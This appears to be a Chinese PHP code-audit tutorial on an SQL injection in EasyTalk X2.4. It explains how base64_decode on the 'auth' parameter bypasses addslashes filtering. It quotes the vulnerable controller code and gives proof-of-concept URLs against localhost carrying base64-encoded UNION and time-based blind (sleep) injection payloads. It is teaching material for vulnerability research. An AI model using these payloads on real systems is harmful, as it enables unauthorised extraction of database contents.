標籤:
0x01 背景
現在的WEB程式基本都有對SQL注入的全域過濾,像PHP開啟了GPC或者在通用檔案common.php上使用addslashes()函數對接收的參數進行過濾,尤其是單引號。同上一篇,我們需要找一些編碼解碼的函數來繞過全域防護,本篇介紹base64decode()的情況。
漏洞來源於烏云:http://www.wooyun.org/bugs/wooyun-2014-050338
0x02 環境搭建
看背景我們使用了低版本的easytalk程式,版本為X2.4
①源碼我打包了一份:http://pan.baidu.com/s/1bopOFNL
②解壓到www的easytalk目錄下,按照提示一步步安裝即可,遇到問題自行百度或Google,成功後訪問如:
0x03 漏洞分析
首先看下源碼結構,用的ThinkPHP架構,比較複雜:
有興趣的可以去研究下再繼續往下看,新手可以知道ThinkPHP對接收的參數是有過濾的,並且根據你伺服器是否開啟GPC會做相應的處理:
1./ThinkPHP/Extend/Library/ORG/Util/Input.class.php檔案第266行:
<?php /** +---------------------------------------------------------- * 如果 magic_quotes_gpc 為關閉狀態,這個函數可以逸出字元串 +---------------------------------------------------------- * @access public +---------------------------------------------------------- * @param string $string 要處理的字串 +---------------------------------------------------------- * @return string +---------------------------------------------------------- */ static public function addSlashes($string) { if (!get_magic_quotes_gpc()) { $string = addslashes($string); } return $string; }
|
2.使用Seay代碼審計系統的全域搜尋功能,搜尋包含關鍵字為”base64_decode”的檔案,發現SettingAction.class.php包含一個對接收的參數auth進行base64_decode的地方:
3.我們跟進這個php檔案,發現雖然使用daddslashes函數進行了注入過濾,但是使用了base64_decode函數對參數auth進行了轉碼從而可以繞過過濾造成注入:
//認證電子郵件 public function doauth() { $_authmsg=daddslashes($_GET[‘auth‘]);//再次判斷GPC是否開啟並進行注入過濾 $authmsg=base64_decode($_authmsg);//base64_decode函數對參數進行轉碼處理 $tem=explode(":",$authmsg);//對解碼後的參數authmsg按照“:”進行分割存入數組tem中 $send_id=$tem[0]; $user=M(‘Users‘);
$row = $user->field(‘mailadres,auth_email‘)->where("user_id=‘$send_id‘")->find();//帶入查詢,在where子句裡,造成注入 if ($_authmsg==$row[‘auth_email‘]) { $user->where("user_id=‘$send_id‘")->setField(‘auth_email‘,1); setcookie(‘setok‘, json_encode(array(‘lang‘=>L(‘mail6‘),‘ico‘=>1)),0,‘/‘); } else { setcookie(‘setok‘, json_encode(array(‘lang‘=>L(‘mail7‘),‘ico‘=>2)),0,‘/‘); } header(‘location:‘.SITE_URL.‘/?m=setting&a=mailauth‘); }
|
0x04 漏洞證明
構造擷取資料庫相關資訊的POC:
http://localhost/eazytalk/?m=setting&a=doauth&auth=aGFja2luZycgdW5pb24gc2VsZWN0IHVzZXIoKSwyIw==
查看sql語句發現成功執行:
發現這裡是一個盲注,並沒有輸出,所以我們使用sql盲注的語句。擷取當前資料庫使用者名稱的第一個字元是不是‘r’(ascii值為114)的POC:
http://localhost/eazytalk/?m=index&a=mailactivity&auth=MicgYW5kIChzZWxlY3QgaWYoKGFzY2lpKHN1YnN0cmluZygoc2VsZWN0IHVzZXIoKSksMSwxKSkgPSAxMTQpLHNsZWVwKDUpLDApKSM=
頁面持續了5秒,說明user()的第一個字元為‘r’,查看sql語句發現成功執行:
最後,有興趣的同學可以自己寫個py指令碼來跑這種盲注。
原文連結:http://www.cnbraid.com/2016/02/18/sql2/,如需轉載請聯絡作者。
【PHP代碼審計】 那些年我們一起挖掘SQL注入 - 3.全域防護Bypass之Base64Decode